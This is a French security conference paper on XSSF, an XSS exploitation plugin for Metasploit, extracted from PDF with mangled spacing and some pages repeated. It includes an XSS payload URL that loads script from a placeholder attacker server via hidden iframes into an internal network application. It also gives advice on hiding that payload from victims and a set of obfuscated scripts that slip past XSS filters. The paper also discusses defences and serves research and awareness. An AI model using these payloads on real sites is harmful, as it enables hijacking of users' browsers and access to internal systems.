Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 24: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

L Courgnaud 325

XSSShellXSSTunnel

BeEF XeeK XSSF

Langages Portabilite

ASPNET -Windows

PHP - Por-table

PythonPHP -Portable

Ruby - Por-table

Client gra-phique

Oui (webet appli-catif pourXSSTunnel)

Oui (web) Oui (web) Oui (web etJava)

Clientconsole

Non Non Oui (inspireede MSF)

Oui (celle deMSF)

Multi-attaquants

Oui Oui Oui Oui(XMLRPC +Armitage)

Attaquesautoma-tiques

Non Oui Oui Oui

TunnelXSS

Oui (Instal-lation drsquouneapplicationWindows)

Non Non Oui (Bi-naire)

Obfuscationde code Bypass desfiltres XSS

Non Non Non Non

Generationde rapports

Non (logs af-fiches a lavolee )

Non (logs af-fiches a lavolee )

Oui Oui

SeparationClient Serveur

Non Non Oui Non

326 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Ajout pos-sible drsquoat-taques(sansconnais-sance dunoyau)

Difficilement(en dur dansle code)

Oui Oui Oui (mo-dules)

Gestion parmodules

Non pasde notionde modulesfonctionsJavaScriptintegrees aucode

Oui (3 fi-chiers parmodules [jsphp et txt]

Oui (un fi-chier js parmodule)

Oui (un fi-chier rb parmodule)

Gestion demasse desvictimes

Oui Difficilement(utilisationde sqlite3donc drsquounfichier avecdes acceslimites)

Oui Oui

Installation Informationspour la BDet le serveurIIS a entrerdans unfichier deconfigura-tion

Mise enplace desfichiers surun serveurweb

Informationssur la BDet le serveura modifierdans le code

InstallerMSF ety copierles fichiersXSSF

Table 3 Comparaison de XSSF par rapport aux outilsexistants

Note cette comparaison a ete realisee avec la version de BeEF avant son portageen ruby (debute en octobre 2010) Certains elements ne sont plus a jour notamment

L Courgnaud 327

concernant lrsquointegration des attaques Metasploit qui semble etre meilleure Pourlrsquoinstant la nouvelle version est en beta et ne fonctionne pas totalement crsquoest pour-quoi lrsquoancienne version a ete gardee pour cette comparaison Le projet XSSShell XSSTunnel nrsquoest plus maintenu son auteur ayant rejoint le projet BeEF Quant auprojet XeEK il ne semble pour lrsquoinstant plus evoluer

Bien evidemment le gros avantage de XSSF par rapport aux autres est sonintegration dans un outil deja tres connu et enormement utilise pour les tests drsquointru-sion Lrsquoinstallation de XSSF est relativement simple et nous esperons pour le futurune integration officielle dans le Framework Metasploit Pour finir lrsquointeret majeurpar rapport aux outils actuellement existants est la possibilite drsquoutiliser un tunnelXSS afin de recuperer les pages (du domaine vulnerable) telles qursquoelles sont vues parla victime

4 Rebond et tunnel XSS

Dans cette section nous allons voir en detail une fonctionnalite importante offertepar le plugin XSSF interessante malgre les limitations de la SOP lrsquoencapsulation derequetes dans un tunnel XSS Nous verrons au travers drsquoun exemple concret lrsquoutiliteque peut avoir un rebond lors drsquoune attaque XSS et notamment lors de la mise enplace drsquoun tunnel XSS

Le principe choisi pour lrsquoexemple est simple lrsquoattaquant ayant connaissance drsquouneXSS (volatile) situee sur une application drsquoun reseau interne veut etre capable de na-viguer sur le domaine vulnerable a partir de son propre navigateur Bien evidemmentlrsquoattaquant nrsquoa aucun acces au reseau interne et de ce fait aucun acces a lrsquoapplicationLrsquoexemple choisi est base sur une vulnerabilite XSS obtenue avec une installationpar defaut de WampServer 11 mais pourrait etre reproduit exactement de la memefacon avec une XSS sur une interface web drsquoun element reseau (routeur firewalletc) ou les controles sont souvent negliges et les identifiants par defaut inchanges La vulnerabilite est donc presente sur la page httplocalhostlang=en alrsquointerieur du parametre lang

La premiere chose a laquelle on peut penser est drsquoattaquer une ou plusieurspersonnes internes au reseau (ayant acces a lrsquoapplication vulnerable) de deux manieressimples

11 httpwwwwampservercom

328 XSSF demontrer le danger des XSS

ndash Envoi (en masse) drsquoune URL contenant le code malicieux ( httpxssf_

serverloop ) vers la page du reseau interne ndash Facilement detectable par les victimes potentiellesndash Forte probabilite que la victime ne reste pas connectee bien longtemps

ndash Mise en place drsquoun site malicieux par lrsquoattaquant ndash Facilement detectable par les victimes potentiellesndash Temps de connexion dependant entierement de lrsquoattrait du site malicieux

Quelle que soit la methode retenue on constate qursquoil y a beaucoup de chancesde perdre le lien avec les victimes assez rapidement La duree de vie drsquoune XSSetant intimement liee a la duree drsquoaffichage de la page la contenant il va donc falloirtrouver une solution afin drsquoaugmenter les chances que la victime reste connecteeplus longtemps permettant ainsi a lrsquoattaquant de realiser plus drsquoactions dans la duree

Crsquoest donc la tout lrsquointeret drsquoun rebond nous allons utiliser un site (vulnerable)de grande consultation afin de rendre lrsquoattaque moins suspecte et de garder un tempsde connexion plus long avec les victimes Generalement un rebond consiste a attaquerune machine par lrsquointermediaire drsquoune autre machine afin de masquer les tracespermettant de remonter a lrsquoattaquant par exemple Pour les XSS un rebond consistea se servir drsquoune XSS sur un domaine afin de rebondir et drsquoacceder a drsquoautres domainesvulnerables Bien evidemment a cause de la SOP il sera impossible de rebondir surdrsquoautres domaines non vulnerables aux failles de type XSS Il est donc forcement plusinteressant drsquoexploiter une XSS sur une page ayant une courte duree de vie (page dereseau interne etc) a partir drsquoune page ayant une duree de vie plus longue (reseausocial page multimedia etc)

Par le passe on trouve plusieurs exemples de ce type dont un demontre a laBlack Hat 2010 12 Le chercheur dans son communique intitule How I met yourgirlfriend a montre comment localiser une personne grace a une XSS sans se servirde son IP Il se sert en fait drsquoune faille XSS sur un site pour rebondir sur une failleXSS dans lrsquointerface drsquoadministration des routeurs FiOS (Verizon) dans laquelle ilse connecte avec les identifiants par defaut (souvent inchanges) afin de recupererlrsquoadresse MAC du routeur Puis il utilise les nouveaux services Google pour retrouverles coordonnees GPS des victimes Bien evidemment il avait aussi un acces total atoute la configuration du routeur

12 Conference organisee sur le theme de la securite informatique

L Courgnaud 329

Pour en revenir a notre probleme la prochaine etape est donc de debusquer unsite vulnerable aux failles de type XSS ou les personnes visees seront susceptiblesde rester assez longtemps pour que lrsquoattaquant puisse realiser le maximum drsquoactionsTache plutot simple au vu de la frequence de rencontre des XSS et au vu de lafrequentation grandissante des sites a contenu multimedia illegaux suite a la miseen place de HADOPI 13 Utilisons donc la page httpwwwsite-de-streaming

comstreamingphpp=2943 par exemple dont le parametre vulnerable p vanous permettre de rester lies avec la victime plus longtemps

Dans un premier temps on peut donc injecter directement un script liant lavictime a XSSF p=2943gt20ltscript20src=httpxssf_serverloopgt

ltscriptgt Probleme le contenu multimedia ne sera pas charge en raison delrsquoutilisation drsquoun mauvais ID et lrsquoutilisateur sera averti du mauvais fonctionnementde la page

Nous allons donc inserer directement un code un peu plus complexe en realisantle rebond vers le serveur interne vulnerable

http wwwsite -de -streamingcom streamingphpp=2943 gt ltscript gt

documentbodyinnerHTML = rsquoltiframe width=0 height =0 src=http 19216811

lang=en22lt script src =22 http xssf_server 8888 loop22gtltscript gtgt

ltiframe gtltiframe src=http wwwsite -de -streamingcomstreamingphpp=2943

style= margin 0px padding 0px height 175 border none display

block width 100 border none overflow -y hidden overflow -x hidden

frameborder =0 scrolling =autogt ltiframe gtrsquo

ltscript gt

Le code precedent va permettre de charger deux IFRAMES dans la page ndash La premiere permet de realiser le rebond vers lrsquoapplication interne et de lier

la victime au serveur XSSF On notera qursquoil est aussi possible drsquoutiliser unmodule XSSF pour realiser le rebond Ici pour plus de simplicite le rebond sefait directement lors de lrsquoattaque La victime liee a XSSF est donc directementreconnue comme etant sur le domaine vulnerable http1921681180

ndash La seconde permet de re-afficher la page a lrsquoutilisateur avec un ID de contenumultimedia valide le laissant ainsi visionner la video De plus la page etantmaintenant chargee dans une IFRAME et le rebond dans une autre lrsquoutilisateurpeut continuer a naviguer (par les liens de la page) sans que la connexion avecXSSF ne soit rompue Bien entendu les IFRAMES sont configurees afin que lestyle de la page soit inchange

13 httpfrwikipediaorgwikiLoi Creation et Internet

330 XSSF demontrer le danger des XSS

Bien que fonctionnelle si cette URL est envoyee en masse ou par envois ciblesles chances sont assez grandes pour que lrsquoutilisateur se doute qursquoun code est inseredans lrsquoURL De plus comme la solution contient plusieurs niveaux de guillemets (rsquordquo 22) nous utiliserons donc un encodage numerique (pour les caracteres entre lesbalises ltscriptgt ) pour ne pas creer drsquoerreurs drsquointerpretation par le navigateur

httpwwwsite-de-streamingcomstreamingphpname=death_tunnelamp

movie_id_url=2943ampp1=trueampp2=falseampp3=falseampp4=falseampp5=trueamp

p6=falseampp7=falseamppage=movie_streamingamptime=1303948281772ampp=2943gt

ltscriptgteval(StringfromCharCode(10011199117[]623959))

ltscriptgt

Des parametres ont ete ajoutes afin de deplacer la partie effectivement malicieusedu code pour qursquoelle nrsquoapparaisse pas dans la barre drsquoadresses du navigateur On peutpour finir raccourcir le lien afin de lrsquoenvoyer plus simplement httpgooglZ1jI9

Maintenant que nous avons realise le rebond XSS afin de garder la victime leplus longtemps possible et que celle-ci est liee par le domaine vulnerable http

1921681180 nous allons pouvoir passer a la tunnelisation par XSS Dansles reseaux informatiques un tunnel est en fait une encapsulation de donnees drsquounprotocole reseau dans un autre Pour faire la comparaison avec les XSS on ne parlerapas de protocoles mais plutot drsquoencapsulation de requetes HTTP dans du JavaScriptLe but de la manipulation etant donc de naviguer a partir du navigateur de lrsquoattaquantsur une application du reseau interne normalement inaccessible depuis lrsquoexterieur

Le principe de notre tunnel est simple puisque la SOP autorise la victime aeffectuer des requetes sur le domaine vulnerable actuel ( http1921681180 )nous allons nous en servir comme proxy afin de naviguer sur son domaine a sa place

Lrsquoattaquant va donc pouvoir configurer son navigateur pour passer par XSSFcomme proxy et realiser une requete sur le domaine http1921681180 (1)La requete HTTP est ensuite envoyee au serveur drsquoattaque (2) qui srsquooccupe de latransformer en requete comprehensible par la victime (3) une simple requete enAJAX suffit Toutes les requetes envoyees par le navigateur sont gardees en memoiredans XSSF en attendant que la victime vienne demander ses commandes Une foisle code (requete AJAX ou liste de requetes) transmis par XSSF (4) la victime vapouvoir lrsquoexecuter (5) et recevoir une reponse du serveur interne vulnerable (6) Cettereponse sera renvoyee au serveur XSSF en tant que reponse a une attaque (7) et leserveur drsquoattaque pourra enfin retourner la reponse au navigateur (8) Lrsquoattaquantpeut ainsi visualiser le domaine comme srsquoil etait la victime puisque crsquoest elle qui varealiser toutes ces requetes

L Courgnaud 331

Figure 12 Principe du tunnel XSS

Au niveau du serveur drsquoattaque XSSF lrsquoordre de depart des requetes a executernrsquoest pas forcement le meme que lrsquoordre drsquoarrivee des reponses (la reponse a unerequete A envoyee avant une requete B peut etre recue apres celle de B) Il est doncimportant au niveau du serveur drsquoidentifier chacune des requetes envoyees par lenavigateur afin de ne pas inverser les ressources demandees

Bien evidemment le proxy nrsquoest pas aussi rapide qursquoun proxy normal car le serveurdrsquoattaque doit attendre que la victime demande des commandes avant de pouvoireffectuer une requete Un moyen efficace est de regler lrsquointervalle de demandes decommandes depuis la victime avec une petite valeur (1 ou 2 secondes)

Pour le moment le proxy gere plutot bien tout types de ressources en GET eten POST sur des domaines en HTTP Quelques problemes subsistent encore pourlrsquoutilisation sur des domaines en HTTPS avec des navigateurs ne supportant pas leHTML5 (problemes enonces dans la partie 23) Lrsquoutilisation du tunnel dans cetteminorite de cas risque de srsquoaverer impossible

On remarquera pour finir que sous Internet Explorer 6 (encore tres utilise 14) lapolitique de la SOP nrsquoinclut pas de regles pour les documents ouverts localement il est donc possible de realiser une attaque demandant drsquoouvrir un fichier malicieux(HTML + JavaScript) en local et ainsi de ne pas avoir a se soucier de la SOP Graceau tunnel on peut donc naviguer sur nrsquoimporte quel site et profiter des sessions dejaouvertes de la victime sur differentes applications

14 httpie6countdowncom

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 25: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

326 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Ajout pos-sible drsquoat-taques(sansconnais-sance dunoyau)

Difficilement(en dur dansle code)

Oui Oui Oui (mo-dules)

Gestion parmodules

Non pasde notionde modulesfonctionsJavaScriptintegrees aucode

Oui (3 fi-chiers parmodules [jsphp et txt]

Oui (un fi-chier js parmodule)

Oui (un fi-chier rb parmodule)

Gestion demasse desvictimes

Oui Difficilement(utilisationde sqlite3donc drsquounfichier avecdes acceslimites)

Oui Oui

Installation Informationspour la BDet le serveurIIS a entrerdans unfichier deconfigura-tion

Mise enplace desfichiers surun serveurweb

Informationssur la BDet le serveura modifierdans le code

InstallerMSF ety copierles fichiersXSSF

Table 3 Comparaison de XSSF par rapport aux outilsexistants

Note cette comparaison a ete realisee avec la version de BeEF avant son portageen ruby (debute en octobre 2010) Certains elements ne sont plus a jour notamment

L Courgnaud 327

concernant lrsquointegration des attaques Metasploit qui semble etre meilleure Pourlrsquoinstant la nouvelle version est en beta et ne fonctionne pas totalement crsquoest pour-quoi lrsquoancienne version a ete gardee pour cette comparaison Le projet XSSShell XSSTunnel nrsquoest plus maintenu son auteur ayant rejoint le projet BeEF Quant auprojet XeEK il ne semble pour lrsquoinstant plus evoluer

Bien evidemment le gros avantage de XSSF par rapport aux autres est sonintegration dans un outil deja tres connu et enormement utilise pour les tests drsquointru-sion Lrsquoinstallation de XSSF est relativement simple et nous esperons pour le futurune integration officielle dans le Framework Metasploit Pour finir lrsquointeret majeurpar rapport aux outils actuellement existants est la possibilite drsquoutiliser un tunnelXSS afin de recuperer les pages (du domaine vulnerable) telles qursquoelles sont vues parla victime

4 Rebond et tunnel XSS

Dans cette section nous allons voir en detail une fonctionnalite importante offertepar le plugin XSSF interessante malgre les limitations de la SOP lrsquoencapsulation derequetes dans un tunnel XSS Nous verrons au travers drsquoun exemple concret lrsquoutiliteque peut avoir un rebond lors drsquoune attaque XSS et notamment lors de la mise enplace drsquoun tunnel XSS

Le principe choisi pour lrsquoexemple est simple lrsquoattaquant ayant connaissance drsquouneXSS (volatile) situee sur une application drsquoun reseau interne veut etre capable de na-viguer sur le domaine vulnerable a partir de son propre navigateur Bien evidemmentlrsquoattaquant nrsquoa aucun acces au reseau interne et de ce fait aucun acces a lrsquoapplicationLrsquoexemple choisi est base sur une vulnerabilite XSS obtenue avec une installationpar defaut de WampServer 11 mais pourrait etre reproduit exactement de la memefacon avec une XSS sur une interface web drsquoun element reseau (routeur firewalletc) ou les controles sont souvent negliges et les identifiants par defaut inchanges La vulnerabilite est donc presente sur la page httplocalhostlang=en alrsquointerieur du parametre lang

La premiere chose a laquelle on peut penser est drsquoattaquer une ou plusieurspersonnes internes au reseau (ayant acces a lrsquoapplication vulnerable) de deux manieressimples

11 httpwwwwampservercom

328 XSSF demontrer le danger des XSS

ndash Envoi (en masse) drsquoune URL contenant le code malicieux ( httpxssf_

serverloop ) vers la page du reseau interne ndash Facilement detectable par les victimes potentiellesndash Forte probabilite que la victime ne reste pas connectee bien longtemps

ndash Mise en place drsquoun site malicieux par lrsquoattaquant ndash Facilement detectable par les victimes potentiellesndash Temps de connexion dependant entierement de lrsquoattrait du site malicieux

Quelle que soit la methode retenue on constate qursquoil y a beaucoup de chancesde perdre le lien avec les victimes assez rapidement La duree de vie drsquoune XSSetant intimement liee a la duree drsquoaffichage de la page la contenant il va donc falloirtrouver une solution afin drsquoaugmenter les chances que la victime reste connecteeplus longtemps permettant ainsi a lrsquoattaquant de realiser plus drsquoactions dans la duree

